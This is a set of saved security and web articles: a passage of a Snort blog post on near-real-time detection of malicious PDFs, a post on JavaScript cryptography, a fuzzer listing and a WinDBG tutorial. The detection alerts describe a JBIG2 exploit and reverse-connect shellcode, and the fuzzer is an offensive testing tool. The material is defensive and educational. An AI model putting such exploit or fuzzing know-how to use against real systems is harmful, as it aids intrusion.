analysis and logging packets for an extended period of time. In short, there
were solutions needed that weren't being provided.  
  
So Patrick Mullen and I sat down and started fiddling with some ideas. I
worked on deep parsing and detection on PDF files and Patrick worked on ways
to provide me the full file data. Initially we had an SO rule that grabbed PDF
files and called my PDF parser. We got it working, and it was pretty sexy. But
it blocked the Snort process and clearly wasn't the way to go. It did,
however, show that we were on to something.  
  
Lurene, Patrick, Nigel and I then locked ourselves in a room and hammered out
the initial design of what would come to be known NRT, the Near Real Time
detection project. The project goals were straightforward, if not easy: Create
a system that allowed arbitrary data sources to pass data to specialized
detection systems and provide every scrap of data we could back to the
incident response teams.  
  
With this laid out, I got a hold of Mike Cloppert, one of the guys we had
spoken to at the IDS conference. We scheduled a call with the team he works
with and discussed with them what they wanted out of a detection system. At
the completion of the call, we all were quite pleased. Everything they had
asked for was already in the design, and quite a bit more as well. We were on
the right track.  
  
Coding began. This involved every person on the VRT and a lot of late nights.
Our goal for the first phase of POC was to prove that we could use Snort as a
datasource for a system that would then provide analysis out of band with
network traffic and alert back into the system. At the end of a hectic month
of coding \(along with all of our other work\) we had a static preprocessor
that pulled files off the wire and passed them to a PDF detection module, a
ClamAV engine and a pure logging module. The end result was the capability to
thread out \(non-blocking\) detection of PDf files, handling the common
evasion techniques for PDF files and then alert back to Snort:  
  
04/21-11:17:58.1271873878 \[\*\*\] \[300:3221225473:1\] URL:/wrl/first.pdf
Hostname:wrl Alert Info:Probable exploit of CVE-2009-0658 \(JBIG2\) detected
in object 8, declared as /Length 29/Filter
\[/FlateDecode/ASCIIHexDecode/JBIG2Decode \] \[\*\*\]  
  
  
\{TCP\} 192.168.0.1:0 -> 204.15.227.178:0  
04/21-11:17:58.12718738780:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x0  
192.168.0.1:0 -> 204.15.227.178:0 TCP TTL:240 TOS:0x10 ID:0 IpLen:20
DgmLen:1280  
\*\*\*AP\*\*\* Seq: 0x0 Ack: 0x0 Win: 0x0 TcpLen: 20  
55 52 4C 3A 2F 77 72 6C 2F 66 69 72 73 74 2E 70 URL:/wrl/first.p  
64 66 20 48 6F 73 74 6E 61 6D 65 3A 77 72 6C 20 df Hostname:wrl  
41 6C 65 72 74 20 49 6E 66 6F 3A 50 72 6F 62 61 Alert Info:Proba  
62 6C 65 20 65 78 70 6C 6F 69 74 20 6F 66 20 43 ble exploit of C  
56 45 2D 32 30 30 39 2D 30 36 35 38 20 28 4A 42 VE-2009-0658 \(JB  
49 47 32 29 20 64 65 74 65 63 74 65 64 20 69 6E IG2\) detected in  
20 6F 62 6A 65 63 74 20 38 2C 20 64 65 63 6C 61 object 8, decla  
72 65 64 20 61 73 20 2F 4C 65 6E 67 74 68 20 32 red as /Length 2  
39 2F 46 69 6C 74 65 72 20 5B 2F 46 6C 61 74 65 9/Filter \[/Flate  
44 65 63 6F 64 65 2F 41 53 43 49 49 48 65 78 44 Decode/ASCIIHexD  
65 63 6F 64 65 2F 4A 42 49 47 32 44 65 63 6F 64 ecode/JBIG2Decod  
65 20 5D 20 e \]  
  
  
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+  
  
Detection was extremely accurate and specific to the triggering condition of
the vulnerability. The PDF parser inflated the JBIG2 stream, handled any
encoding and then looked at the specific conditions required to exploit the
reader. It fully detects attacks generated by the Metasploit framework. In
fact, it was good enough to uncover a bug in the Metasploit JBIG2 module which
has now been fixed. By allowing additional detection, above what is done by
the Snort engine now, to occur outside of the packet stream, we are able to
provide much more data back to the user. Which got us to thinking about
Javascript...  
  
Anyone who has looked at Javascript data associated with exploits knows that
there are often long, random names assigned to variables. We decided to check
for that by jamming all of the variable names together and then doing an
entropy check. If the variable was too random, we'd alert. For example, one
attack file, when taking all the JavaScript variables and putting them
together, we get:  
  
EvctenMNtrWDQVBKGrwGxrxKfMiZoYziRxAFEfjMdXRzjGNqVZYEAqogviSvzHpGpCkihcVtXRWcHphvhAnPOXnrxmTXJEUIkcYzelWZUCuIyKArtJvcEQXzUjHEzuSjGEJugOyFQnaSplNWwQsqOoV  
  
Which in turn, leads the NRT to fire:  
  
\[\*\*\] \[300:2147483653:1\] URL:/wrl/first.pdf Hostname:wrl Alert Info:The
JavaScript variables in object 6, declared as /Length 5994/Filter
\[/FlateDecode/ASCIIHexDecode \] , show a high degree of entropy \[\*\*\]  
  
We were in detection nirvana. Anything we wanted to do, know matter how much
processor it took, was available to us.  
  
While sitting in Dubai on day one of HitB, Lurene came up with an idea of how
to analyze unescaped data to find shellcode. The process went like this: Grab
the PDF off the wire, inflate the JavaScript object, determine that it is
JavaScript, normalize the unescape\(\) calls and pass the data to a custom
nugget written by Lurene. This nugget then uses heuristics to discover the
encoder type, decodes the shellcode and then returns data about the shellcode
found. The result:  
  
\[\*\*\] \[300:3221225482:1\] URL:/wrl/first.pdf Hostname:wrl Alert
Info:Reverse TCP connectback shellcode detected. Connecting to 10.4.4.10 on
port 4444 \[\*\*\]  
  
This data didn't come from seeing data to port 4444 on host 10.4.4.10, it came
from interpreting shellcode that was unescaped in a compressed object in a PDF
that we pulled off the wire. OK...so we're excited.  
  
But this system had to be open and it had to be extensible. It had to be
flexible and it had to be verbose in its logging. So here is what we came up
with:  
  
THE DISPATCHER  
  
This component is the heart of the system. It handles data sources and
detection nuggets. It manages a central database of all known good and known
bad files and URLs. Additionally, it keeps track of known good and bad sub-
components \(JS in PDF, for example\), so that detection speed is improved and
so that we can alert on data subsequently found to be bad. Finally it creates
a complete log of detection by writing out not just the original file, but
also the normalized versions of the segment of code that creates the alerts.  
  
THE DATA HANDLER  
  
We want to be able to provide data into the system from any arbitrary
location. Capture a file off the wire with Snort, grab the file via a Milter,
pass the file into the system from ClamAV or just hook on-open on a windows
system and pass it to the system? All of that should be handled and available
through an API.  
  
THE DETECTION NUGGET  
  
For any given data handler one or more nuggets should be available. The
nuggets should be able to pass data to other nuggets. For example, a PDF
nugget that finds embedded JavaScript data should be able to pass just that
block into a Javascript system.  
  
THE VISION  
  
Snort registers with the Dispatcher as a Data Handler. The Nugget Farm is
populated by both a PDF and a JavaScript nugget. Snort grabs the file and
sends it to the PDF nugget. The PDF parser finds the JavaScript block and
sends it to the JavaScript nugget. When the JavaScript nugget alerts, it sends
the normalized data back to the Dispatcher. When the PDF file alerts on the
JBIG section it sends the data in the JBIG section as well as the entire file
back to the Dispatcher. The dispatcher writes each section and the associated
alerts to disk in addition to the full file. Finally it alerts into the Snort
system.  
  
There are more details, such as how we alert back in time \(no sonic
screwdriver required\). But we'll get to that. For now we want to see what you
would do if we handled you a pointer and a size. So we've put up some rough
\(very rough\) POC code at http://labs.snort.org. Review the code in
src/preprocessor/nrt\_\* to see what we're up to. Modeling that code you
should be able to write your own C code to do detection against files pulled
by the system.  
  
We've got a long way to go, with a ton of research in front of us. There is no
time-line for full release, but we're interested in seeing what you come up
with. As we create additional documentation and nail down more functionality,
we'll continue updating the code. Keep an eye on labs and the VRT blog for
updates. In the meantime, go poke around and let us know what you come up
with.  
  
Code & Dubai Presentation available at:  
http://labs.snort.org/nrt

# Cryptography in the Browser

**Created:**| _10/30/2013 8:37:22 AM_  
---|---  
**Updated:**| _10/30/2013 8:37:22 AM_  
**Author:**| __  
**Tags:**| _crypto browser_  
  

#  Cryptography in the Browser****

Written by **Nicolas LaCasse** a day ago  
Opal co-founder and software engineer**.**

One of the challenges we encountered in creating Opal was finding a fast and
secure way to do encryption and decryption in the browser**.**

This post describes why browser-side cryptography has been a difficult
problem, and how recent technological advances provide a solution**.**

## Three options for doing cryptography in a web app****

The only language with universal browser support is JavaScript**.** Web apps
like Opal are written in JavaScript so that they can run in any modern
browser**.** For cryptographic functions to be useful to a web app like Opal,
they must be accessable in JavaScript**.**

There are really only three options for exposing cryptographic functions to
browser JavaScript:

### 1**.** Do the cryptography in a plugin.

Plugins are compiled code that run inside a browser and can be called by
JavaScript**.**

For example, there are cryptography libraries that exist in both Java and
Flash**.** These implementations are often very fast, but unfortunately they
require users to install browser plugins, which many are unwilling or unable
to do \(for example, if they are on a public computer\)**.**

Another option is to use Chrome's Native Client , which allows browsers to run
machine code compiled from C or C++**.** Again, such implementations can be
very fast, but right now Native Client is only available on Chrome**.**

So while plugins and Native Client have the benefit of speed, they lack
portability because they require users to install specific plugins or use a
specific browser**.**

### 2\. Use a Web API.

The upcoming Web Crypto API  will expose native cryptographic primitives to
JavaScript, allowing web apps to use fast encryption and decryption
routines**.** However, this API is still in the draft stage, and it may be a
while before it sees wide adoption among the major browser vendors**.** As it
stands now, only `crypto.getRandomValues()` has been implemented in most
browsers**.**

Until the Web Crypto API becomes widely implemented, it's not a viable option
for browser-side cryptography**.**

### 3**.** Do the cryptography directly in JavaScript.

This approach has the benefit of being extremely portable**.** All browsers
can run JavaScript, so all browsers can run a JavaScript cryptography
library**.**

There are two main criticisms of doing cryptography in JavaScript: security
and speed**.** We discuss each of these criticisms in turn.

## JavaScript cryptography can be safe****

This post  claims that "JavaScript Cryptography Considered Harmful", and lists
a lot of evidence to support that claim**.**

Some of the statements on that post are no longer accurate**.** For example,
the post makes the point that `Math.random()` is not a good source of
randomness, and thus it is impossible to get a suitable amount of random
numbers for cryptography**.** While it is true that `Math.random()` is not a
good source of randomness, modern browsers have a `crypto.getRandomValues()`
function which _does_ provide enough randomness**.**

There are certainly use cases where JavaScript cryptography is a bad idea, but
there are cases where it makes sense**.**

This response  does a great job of refuting many of the claims in the first
post, and also points out two valid use cases for JavaScript cryptography:
end-to-end message security \(a**.** k**.** a. host-proof applications\), and
secure remote password authentication**.** These are exactly Opal's
cryptographic use cases, so from a security standpoint we are comfortable
doing cryptography in JavaScript**.**

## JavaScript cryptography can be fast****

Until recently, JavaScript has been too slow to perform the many complex
computations required for secure cryptography**.** This has caused many
applications to rely on plugins for cryptography, which are less portable and
often annoying to users**.**

Fortunately, JavaScript performance has been increasing at an amazing rate in
recent years, so that it is now practical to perform cryptographic operations
entirely in JavaScript**.** Today, there  are  many  javascript  cryptography
libraries  to  choose  from **.**

The problem then becomes which one to choose**.**

## NaCl: a trusted C cryptography library****

NaCl  \(pronounced "salt"\) is a C library that exposes high-level
functionality for symmetric and public-key encryption, decryption, signing,
verification, etc**.** It was written by cryptographers, and is well-known and
trusted in the cryptographic community**.** The one problem with NaCl is that
it's written in C, and C is not JavaScript**.**

### js-NaCl: NaCl compiled to JavaScript****

Luckily, we can compile NaCl to LLVM bytecode, and then use emscripten  to
compile LLVM bytecode to JavaScript**.** Moreover, the LLVM compiler can
perform many optimizations during compilation, so the resulting JavaScript is
highly optimized**.** Thus, we can compile the NaCl C library into JavaScript,
ready to be run in a browser**\!**

The js-nacl  project is exactly this: the NaCl cryptography library compiled
into JavaScript**.**

### asm.js is fast\!

What's even better is that emscripten can compile to a very special subset of
JavaScript, called asm**.** js . You can think of asm.js as assembly language
dressed up like JavaScript. When a browser encounters a chunk of asm**.** js
code, it can compile it to very efficient machine code which runs at near-
native speeds**.**

Currently, Firefox is the only major browser to support asm**.** js
optimizations. This makes the encryption and decryption with js-nacl very fast
in Firefox, between 2 and 8 times faster than Chrome, depending on the
operation**.** But even in Chrome, js-nacl is blazingly fast, outperforming
all the other cryptography libraries we tested**.**

<img src='img/Temp2_1725.png' alt='crazy fast in FF' />

The combination of a trusted security library like NaCl with fast performance
in modern browsers makes js-nacl the obvious cryptography library for web apps
like Opal**.**

For similar reasons, Opal uses an emscripten-compiled asm**.** js version  of
the popular scrypt  library for passphrase stretching \(working on the post
now\)**.** You can see exact benchmarks of js-nacl and js-scrypt from the
project maintainer here **.** We also set up some jsperf tests  for js-nacl to
get a better idea of performance across browser versions, feel free to run
them **.**

****

# rtspFUZZ 0.1 ≈ Packet Storm

**Created:**| _11/19/2011 8:53:14 PM_  
---|---  
**Updated:**| _11/19/2011 8:53:14 PM_  
**Author:**| __  
**Tags:**| _security tools Fuzzer_  
  

    
rtspFUZZ is a real time streaming protocol server fuzzer. It uses 6 basic
crafting techniques OPTIONS,DESCRIBE,SETUP,PLAY,GET\_PARAMETER,TEARDOWN,PAUSE
etc rtsp commands and 9 advanced crafting techniques to test any target
application. It has the ability to fuzz with Metasploit Pattern
\(pattern\_create.rb\) which can be helpful for finding the offset.

    tags | tool, protocol, fuzzer
    MD5 | `7d2e1f192b41f4a7b9346514ecd8b0c8`

# Open Security Research: Getting Started with WinDBG - Part 1

**Created:**| _1/7/2014 11:04:25 AM_  
---|---  
**Updated:**| _1/7/2014 11:04:25 AM_  
**Author:**| __  
**Tags:**| _windows environment windbg_  
  

# **G** etting Started with WinDBG - Part 1****

By Brad Antoniewicz **.**  
  
WinDBG is an awesome debugger**.** It may not have a pretty interface or black
background by default, but it still one of the most powerful and stable
Windows debuggers out there**.** In this article I'll introduce you to the
basics of WinDBG to get you off the ground running**.**  
  
This is part one of a multipart series, here's our outline of whats in store:

  * Part 1  \- Installation, Interface, Symbols, Remote/Local Debugging, Help, Modules, and Registers
  * Part 2  \- Breakpoints
  * Part 3  \- Inspecting Memory, Stepping Through Programs, and General Tips and Tricks

In this blog post we'll cover installing and attaching to a process, then in
the next blog post we'll go over breakpoints, stepping, and inspecting
memory**.**

# Installation****

Microsoft has changed things slightly in WinDBG's installation from Windows 7
to Windows 8**.** In this section we'll walk through the install on both**.**

## Windows 8****

<img src='img/Temp2_5848.jpg' />

For Windows 8, Microsoft includes WinDBG in the Windows Driver Kit \(WDK\)
You can install Visual Studio and the WDK or just install the standalone
"Debugging Tools for Windows 8**.** 1" package that includes WinDBG.  
  
This is basically a thin installer that needs to download WinDBG after you
walk through a few screens**.** The install will ask you if you'd like to
install locally or download the development kit for another computer**.** The
later will be the equivalent of an offline installer, which is my preference
so that you can install on other systems easily in the future**.**

<img src='img/Temp2_5843.jpg' />

From there just Next your way to the features page and deselect everything but
"Debugging Tools for Windows" and click "Download"**.**

<img src='img/Temp2_5841.jpg' />

Once the installer completes you can navigate to your download directory,
which is `c:\Users\Username\Downloads\Windows Kits\8**.** 1\StandaloneSDK` by
default, and then next through that install**.** Then you're all ready to go\!

## Windows 7 and Below****

For Windows 7 and below, Microsoft offers WinDBG as part of the "Debugging
Tools for Windows" package that is included within the Windows SDK and .Net
Framework **.** This requires you to download the online/offline installer,
then specifically choose the "Debugging Tools for Windows" install option**.**  
  
My preference is to check the "Debugging Tools" option under "Redistributable
Packages" and create a standalone installer which makes future debugging
efforts a heck of lot easier**.** That's what I'll do here.

<img src='img/Temp2_5844.jpg' />

Once the installation completes, you'll should have the redistributable for
various platforms \(x86/x64\) in the `c:\Program Files\Microsoft
SDKs\Windows\v7**.** 1\Redist\Debugging Tools for Windows\` directory**.**

<img src='img/Temp2_5847.jpg' />

From there the installation is pretty simple, just copy the appropriate
redistributable to the system you're debugging and then click through the
installation**.**

# Interface****

<img src='img/Temp2_5845.jpg' />

When you run WinDBG for the first time, you'll realize that its intimidatingly
simple**.** Most of WinDBG's interface is experienced while you're actually
debugging a process**.** So you're not going to do to much with WinDBG until
you attach it to a process**.** Rather then having a section dedicated to the
interface \(too late**\!**\) we'll point out the important parts in the
upcoming sections**.**  
  
The most basic thing about the interface you should know is the Command
window**.** It's the default window opened once you're attached to a
process**.** The Command window is mostly an output only window, with a small
input field on the bottom which you'll enter commands into to control
WinDBG**.**

<img src='img/Temp2_5834.jpg' />

# Symbols****

WinDBG doesn't really need much of a configuration, most things work right out
of the box**.** The one important thing to do is set up Symbols **.** Symbols
are basically special files that are generated with the program binary at
compile time that provide debugging information such as function and variable
names**.** This can really help demystify a lot of the functionality of an
application when debugging or disassembling**.** Many Microsoft components are
compiled with Symbols which are distributed via the Microsoft Symbol
Server**.** For non-Microsoft binaries, you're usually out of luck - sometimes
you'll find them laying around somewhere but mostly all companies keep that
stuff protected**.**  
  
To configure WinDBG to use the Microsoft Symbol server go to `File:Symbol File
Path` and set the path appropriately to the one below**.** The syntax is a
little weird, asterisks are the delimiter, so in the value below, we'll
download symbols to the `C:\Symbols` directory**.**

[code]

    SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
    
[/code]

<img src='img/Temp2_5850.jpg' />

WinDBG will automatically load Symbols for binaries that it has them for when
needed**.** To add a file containing symbols you can just append it to the
path:

[code]

    SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols;c:\SomeOtherSymbolFolder
    
[/code]

## Adding Symbols during Debugging****

If you do run into a situation where you have Symbols and would like to import
them while the debugging, you can do so via the `.sympath` command option
within the command window \(this requires you to be attached to a
process\)**.** For instance to append `c:\SomeOtherSymbolFolder` you can:

[code]

    0:025> .sympath+ c:\SomeOtherSymbolFolder
    Symbol search path is: SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols;c:\SomeOtherSymbolFolder
    Expanded Symbol search path is: srv*c:\symbols*http://msdl.microsoft.com/download/symbols;c:\someothersymbolfolder
    
[/code]

It's always good to reload the symbols after you make changes to the path:

[code]

    0:025> .reload
    Reloading current modules
    ................................................................
    ..............................................**.**
    
[/code]

## Checking Symbols****

To view what modules have symbols loaded, you can use the `x* **!**` command.
However, WinDBG doesn't load Symbols until it needs them so `x* **!**` will
show most of the module symbols are deferred**.** We can force WinDBG to load
symbols, with the `ld *` command \(which may take a little time, you can stop
it by going to `Debug:Break`\):

<img src='img/Temp2_5846.jpg' />

Now we can view the symbols for each for the modules:

<img src='img/Temp2_5838.jpg' />

# Debugging a Local Process****

You have a couple options when debugging a local process**.** You can start
the process then attach to it, or have WinDBG launch the process for you**.**
I'm really sure of all the advantages/disadvantages of each - I know that when
you launch a program with WinDBG, it enables some special debugging options
\(e**.** g. debug heap\) that the program may not like, and it will crash**.**
That being said, there are also programs that will crash when you attach the
debugger, so ymmv**.** Some applications \(malware in particular\) will look
for the presence of the debugger at launch and may not later on, which would
be a reason why you'd attach**.** And sometimes you're debugging a service
that is controlled by Windows which sets up a variety of things during its
launch, so to simplify things, you'd attach rather then launch via the
debugger**.** Some people say there is a significant performance impact when
launching a process via the debugger**.** Test it out yourself, and see what
works best for you**.** If you have any particular reasons why you'd do one
over the other, please let me know the comments**\!**

## Starting a Process****

If you're debugging a self contained application that just runs locally and
doesn't communicate via the network, you may want to have WinDBG start the
application**.** However, that's not to say you can't attach to these programs
after they've been launched**.**  
  
Starting a process is pretty straight forward, go to "File:Open
Executable"**.** From there, select the executable you'd like to debug**.**
You can also provide command line arguments and define the start directory:

<img src='img/Temp2_5837.jpg' />

##  Attaching to a Process****

Attaching to an already running process is just as simple**.** Note, that in
some cases, you'll need to need to spend a little time identifying the true
process you're looking to target**.** For instance, some web browsers will
create one parent process, then an additional process for each tab**.** So
depending on the crash you're debugging, you might want to attach to the tab
process rather than the parent**.**  
  
To attach to an already existing process, go to "File:Attach to a Process"
then select the PID or process name to attach to**.** Keep in mind you'll also
need the appropriate rights to attach to your target process**.**

<img src='img/Temp2_5839.jpg' />

If the program has stopped responding, you can noninvasively  by using the
"Noninvaise" checkbox**.**

# Debugging a Remote Process****

Now there may be times where you have to debug a process on a remote
system**.** For instance, it may just be more convenient to use a local
debugger rather than one within a VM or via RDP**.** Or perhaps you are
debugging `LoginUI.exe` \- which is only available while the system is
locked**.** In these situations you can have a local WinDBG instance running
then remotely connect to it**.** There are a couple ways to do this as well -
we'll cover two of the most common ways**.**

## Existing Debugging Sessions****

If you've already started to debug the program locally \(via attaching or
launching mentioned above\) you can use the command input field to have WinDBG
launch a listener that a remote debugger can connect to**.** This is done with
the `.server` command:

[code]

    .server tcp:port=5005
    
[/code]

You'll likely get a security alert that you should allow:

<img src='img/Temp2_5835.jpg' />

Then a positive message within WinDBG telling you the server has started:

[code]

    0:005> .server tcp:port=5005
    Server started**.**  Client can connect with any of these command lines
    0: <debugger> -remote tcp:Port=5005,Server=USER-PC
    
[/code]

Then from the remote host, you can connect to the existing debugging session
via "File:Connect to a Remote Session":

<img src='img/Temp2_5849.jpg' />

[code]

    tcp:Port=5005,Server=192**.** 168.127**.** 138
    
[/code]

Once connected you'll get a confirmation on remote client:

[code]

    Microsoft (R) Windows Debugger Version 6**.** 12**.** 0002.633 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    Server started**.**  Client can connect with any of these command lines
    0: <debugger> -remote tcp:Port=5005,Server=USER-PC
    MACHINENAME\User (tcp 192**.** 168**.** 127.138:13334) connected at Mon Dec 16 09:03:03 2013
    
    
[/code]

and the locally debugging instance:

[code]

    MACHINENAME\User (tcp 192**.** 168.127**.** 138:13334) connected at Mon Dec 16 09:03:03 2013
    
    
[/code]

## Remote Server****

You can also have a standalone WinDBG server running on a system, remotely
connect to it, then have the ability to select what process to attach to**.**
This can be done using the `dbgsrv.exe`  
  
executable on the system where the process is \(or will be\) running:

[code]

     dbgsrv.exe -t tcp:port=5005
    
    
[/code]

<img src='img/Temp2_5836.jpg' />

And you'll likely get a Windows Firewall notice, which you should allow:

<img src='img/Temp2_5842.jpg' />

From the remote system, you can connect by going to "File: Connect to Remote
Stub" and defining the server:

<img src='img/Temp2_5840.jpg' />

[code]

    tcp:Port=5005,Server=192**.** 168.127.138
    
[/code]

You won't get any obvious indicator that you're connected, but when you go to
"File:Attach to a Process", you'll see the process list of the system you're
running `dbgsrv.exe` on**.** Now you can attach to a process as you normally
would as if the process was local**.**  
  
WinDBG's help system is awesome. As with all new things, you should become
familiar with how to get help on a specific command or concept**.** From the
command input you can use the `.hh` command to access WinDBG's help:

[code]

    windbg> **.** hh 
    
[/code]

You can also use `.hh` on a specific command**.** For instance, to get more
information on the `.reload` command, you can use:

[code]

    windbg> **.** hh .reload
    
[/code]

Or just go to "Help:Contents"**.**

# Modules****

As program runs it pulls in a number of modules that provide functionality -
thus if you're able to gain insight into what modules are imported by the
application, it can help identify what the application does and how it may
work**.** In many scenarios, you'll be debugging a particular module loaded by
a program, rather than the program executable itself**.**  
  
When you attach to process, WinDBG will automatically list the loaded modules,
for instance, here's what WinDBG's output when I attached to `calc.exe`:

[code]

    Microsoft (R) Windows Debugger Version 6**.** 12**.** 0002.633 X86
    Copyright (c) Microsoft Corporation. All rights reserved.
    
    *** wait with pending attach
    Symbol search path is: SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
    Executable search path is: 
    ModLoad: 00a70000 00b30000   C:\Windows\system32\calc.exe
    ModLoad: 77630000 7776c000   C:\Windows\SYSTEM32\ntdll.dll
    ModLoad: 77550000 77624000   C:\Windows\system32\kernel32.dll
    ModLoad: 75920000 7596a000   C:\Windows\system32\KERNELBASE.dll
    ModLoad: 76410000 77059000   C:\Windows\system32\SHELL32.dll
    ModLoad: 77240000 772ec000   C:\Windows\system32\msvcrt.dll
    ModLoad: 76300000 76357000   C:\Windows\system32\SHLWAPI.dll
    ModLoad: 75cd0000 75d1e000   C:\Windows\system32\GDI32.dll
    ModLoad: 75fa0000 76069000   C:\Windows\system32\USER32.dll
    ModLoad: 777b0000 777ba000   C:\Windows\system32\LPK.dll
    ModLoad: 774b0000 7754d000   C:\Windows\system32\USP10.dll
    ModLoad: 73110000 732a0000   C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1**.** 1.7600.16385_none_72fc7cbf861225ca\gdiplus.dll
    ModLoad: 75a80000 75bdc000   C:\Windows\system32\ole32.dll
    ModLoad: 76360000 76401000   C:\Windows\system32\RPCRT4.dll
    ModLoad: 777c0000 77860000   C:\Windows\system32\ADVAPI32.dll
    ModLoad: 75be0000 75bf9000   C:\Windows\SYSTEM32\sechost.dll
    ModLoad: 76270000 762ff000   C:\Windows\system32\OLEAUT32.dll
    ModLoad: 74590000 745d0000   C:\Windows\system32\UxTheme.dll
    ModLoad: 74710000 748ae000   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6**.** 0.7600.16385_none_421189da2b7fabfc\COMCTL32.dll
    ModLoad: 703d0000 70402000   C:\Windows\system32\WINMM.dll
    ModLoad: 74c80000 74c89000   C:\Windows\system32\VERSION.dll
    ModLoad: 77770000 7778f000   C:\Windows\system32\IMM32.DLL
    ModLoad: 75c00000 75ccc000   C:\Windows\system32\MSCTF.dll
    ModLoad: 74130000 7422b000   C:\Windows\system32\WindowsCodecs.dll
    ModLoad: 74260000 74273000   C:\Windows\system32\dwmapi.dll
    ModLoad: 756d0000 756dc000   C:\Windows\system32\CRYPTBASE.dll
    ModLoad: 75e60000 75ee3000   C:\Windows\system32\CLBCatQ.DLL
    ModLoad: 6ef10000 6ef4c000   C:\Windows\system32\oleacc.dll
    
    
[/code]

Later on in a debugging session you can reproduce these results with the `lmf`
command:

[code]

    0:005> lmf
    start    end        module name
    00a70000 00b30000   calc     C:\Windows\system32\calc.exe
    6ef10000 6ef4c000   oleacc   C:\Windows\system32\oleacc.dll
    703d0000 70402000   WINMM    C:\Windows\system32\WINMM.dll
    73110000 732a0000   gdiplus  C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1**.** 1.7600.16385_none_72fc7cbf861225ca\gdiplus.dll
    74130000 7422b000   WindowsCodecs C:\Windows\system32\WindowsCodecs.dll
    74260000 74273000   dwmapi   C:\Windows\system32\dwmapi.dll
    74590000 745d0000   UxTheme  C:\Windows\system32\UxTheme.dll
    74710000 748ae000   COMCTL32 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6**.** 0.7600.16385_none_421189da2b7fabfc\COMCTL32.dll
    74c80000 74c89000   VERSION  C:\Windows\system32\VERSION.dll
    756d0000 756dc000   CRYPTBASE C:\Windows\system32\CRYPTBASE.dll
    75920000 7596a000   KERNELBASE C:\Windows\system32\KERNELBASE.dll
    75a80000 75bdc000   ole32    C:\Windows\system32\ole32.dll
    75be0000 75bf9000   sechost  C:\Windows\SYSTEM32\sechost.dll
    75c00000 75ccc000   MSCTF    C:\Windows\system32\MSCTF.dll
    75cd0000 75d1e000   GDI32    C:\Windows\system32\GDI32.dll
    75e60000 75ee3000   CLBCatQ  C:\Windows\system32\CLBCatQ.DLL
    75fa0000 76069000   USER32   C:\Windows\system32\USER32.dll
    76270000 762ff000   OLEAUT32 C:\Windows\system32\OLEAUT32.dll
    76300000 76357000   SHLWAPI  C:\Windows\system32\SHLWAPI.dll
    76360000 76401000   RPCRT4   C:\Windows\system32\RPCRT4.dll
    76410000 77059000   SHELL32  C:\Windows\system32\SHELL32.dll
    77240000 772ec000   msvcrt   C:\Windows\system32\msvcrt.dll
    774b0000 7754d000   USP10    C:\Windows\system32\USP10.dll
    77550000 77624000   kernel32 C:\Windows\system32\kernel32.dll
    77630000 7776c000   ntdll    C:\Windows\SYSTEM32\ntdll.dll
    77770000 7778f000   IMM32    C:\Windows\system32\IMM32.DLL
    777b0000 777ba000   LPK      C:\Windows\system32\LPK.dll
    777c0000 77860000   ADVAPI32 C:\Windows\system32\ADVAPI32.dll
    
    
[/code]

And you can get the load address for a specific module using the "lmf m"
command:

[code]

    0:005> lmf m kernel32
    start    end        module name
    77550000 77624000   kernel32 C:\Windows\system32\kernel32.dll
    
[/code]

To get the image header information you can use the `**!** dh` extension \(the
exclamation mark denotes an extension\) on a particular module**.**

[code]

    0:005> **!** dh kernel32
    
    File Type: DLL
    FILE HEADER VALUES
         14C machine (i386)
           4 number of sections
    4A5BDAAD time date stamp Mon Jul 13 21:09:01 2009
    
           0 file pointer to symbol table
           0 number of symbols
          E0 size of optional header
        2102 characteristics
                Executable
                32 bit word machine
                DLL
    
    OPTIONAL HEADER VALUES
         10B magic #
        9**.** 00 linker version
       C4600 size of code
        C800 size of initialized data
           0 size of uninitialized data
       510C5 address of entry point
        1000 base of code
             ----- new -----
    77550000 image base
        1000 section alignment
         200 file alignment
           3 subsystem (Windows CUI)
        6**.** 01 operating system version
        6.01 image version
        6**.** 01 subsystem version
       D4000 size of image
         800 size of headers
       D5597 checksum
    00040000 size of stack reserve
    00001000 size of stack commit
    00100000 size of heap reserve
    00001000 size of heap commit
         140  DLL characteristics
                Dynamic base
                NX compatible
       B4DA8 [    A915] address [size] of Export Directory
       BF6C0 [     1F4] address [size] of Import Directory
       C7000 [     520] address [size] of Resource Directory
           0 [       0] address [size] of Exception Directory
           0 [       0] address [size] of Security Directory
       C8000 [    B098] address [size] of Base Relocation Directory
       C5460 [      38] address [size] of Debug Directory
           0 [       0] address [size] of Description Directory
           0 [       0] address [size] of Special Directory
           0 [       0] address [size] of Thread Storage Directory
       816B8 [      40] address [size] of Load Configuration Directory
         278 [     408] address [size] of Bound Import Directory
        1000 [     DE8] address [size] of Import Address Table Directory
           0 [       0] address [size] of Delay Import Directory
           0 [       0] address [size] of COR20 Header Directory
           0 [       0] address [size] of Reserved Directory
    
    
    SECTION HEADER #1
       .text name
       C44C1 virtual size
        1000 virtual address
       C4600 size of raw data
         800 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             (no align specified)
             Execute Read
    
    
    Debug Directories(2)
     Type       Size     Address  Pointer
     cv           25       c549c    c4c9c Format: RSDS, guid, 2, kernel32.pdb
     (    10)       4       c5498    c4c98
    
    SECTION HEADER #2
       .data name
         FEC virtual size
       C6000 virtual address
         E00 size of raw data
       C4E00 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000040 flags
             Initialized Data
             (no align specified)
             Read Write
    
    SECTION HEADER #3
       .rsrc name
         520 virtual size
       C7000 virtual address
         600 size of raw data
       C5C00 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             (no align specified)
             Read Only
    
    SECTION HEADER #4
      .reloc name
        B098 virtual size
       C8000 virtual address
        B200 size of raw data
